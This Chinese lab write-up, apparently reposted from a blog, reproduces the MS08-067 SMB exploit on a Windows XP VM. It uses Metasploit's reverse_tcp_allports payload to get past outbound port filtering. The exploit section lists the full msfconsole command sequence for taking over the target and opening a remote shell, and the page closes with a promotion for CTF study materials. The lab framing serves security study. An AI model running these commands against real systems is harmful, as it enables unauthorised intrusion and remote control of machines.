全端口攻击载荷：暴力目标开放端口_针对ip的全端口进行压力攻击

目录

• 一、开放监听全端口意义：
• 二、靶机搭建
• 三、漏洞利用
• 四、总结

此实验基于Chinese MS08067 (Simplified Chinese )漏洞复现

一、开放监听全端口意义：

在前面Chinese MS08067漏洞复现中，我们之所以能够成功，主要是由于目标主机反弹连接使用的端口（目标连接攻击机使用的端口）没有被过滤掉。但是如果我们攻击的组织内部设置了非常严格的出站端口过滤怎么办？

很多公司在防火墙上仅仅开放个别特定的端口（防火墙只允许外部主机用指定的端口连接目标），将其他端口一律关闭（用非指定端口连接则不能成功），这种情况下我们很难判定能够通过哪些端口连接到外部主机上。我们可以猜测443端口没有被防火墙禁止，同样的可能还有FTP、Telnet、SSH以及HTTP等服务使用的端口，可以逐一进行尝试。但是Metasploit已经提供了一个专用的攻击载荷帮助我们找到这些放行的端口，我们还要费力猜它做什么呢？

Metasploit的这个攻击载荷会对所有可用的端口进行尝试，直到它发现其中一个是放行的。(不过遍历整个端口号的取值范围[1-65535]会耗费相当长的时间。)下面让我们使用这个攻击载荷，让它尝试对所有端口进行连接，直到找到成功连接的端口为止。

二、靶机搭建

kali:

Windows XP SP2 (Simplified Chinese ):

三、漏洞利用

search ms08
use exploit/windows/smb/ms08_067_netapi 
show payloads
set payload payload/windows/meterpreter/reverse_tcp_allports 
set lhost 172.16.12.100
set rhosts 172.16.12.101
set rport 445
unset LPORT
set target 10
exploit -j

注：
(unset LPORT)不允许指定监听攻击机指定端口，将攻击机全部端口都设为监听
(exploit -j)在攻击机后台运行

sessions -l -v
sessions  -i 1

注：
(sessions -l -v)查看后台运行的进程
(sessions  -i 1)选择打开ID号为1的进行程

注释：请注意我们没有设置LPORT参数，而是使用allports攻击载荷在所有端口上进行监听，直到发现一个放行的端口。目标机的1047端口与我们的攻击机：1（指所有的端口)建立了连接(此为模拟现象，如为真实环境有防火墙拦截其他端口，则一般只有一个指定的端口能连接)。

shell
ipconfig

四、总结

本次实验我们复现了防火墙只允许在指定端口连接，我们利用Metasploit的allports攻击载荷完成代替手工测试允许端口的实验。

最后

从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。

因为入门学习阶段知识点比较杂，所以我讲得比较笼统，大家如果有不懂的地方可以找我咨询，我保证知无不言言无不尽，需要相关资料也可以找我要，我的网盘里一大堆资料都在吃灰呢。

干货主要有：

①1000+CTF历届题库（主流和经典的应该都有了）

②CTF技术文档（最全中文版）

③项目源码（四五十个有趣且经典的练手项目及源码）

④ CTF大赛、web安全、渗透测试方面的视频（适合小白学习）

⑤ 网络安全学习路线图（告别不入流的学习）

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

扫码领取

本文转自 https://blog.csdn.net/qq_43093288/article/details/129778085?spm=1001.2100.3001.7377&utm_medium=distribute.pc_feed_blog_category.none-task-blog-classify_tag-19-129778085-null-null.nonecase&depth_1-utm_source=distribute.pc_feed_blog_category.none-task-blog-classify_tag-19-129778085-null-null.nonecase，如有侵权，请联系删除。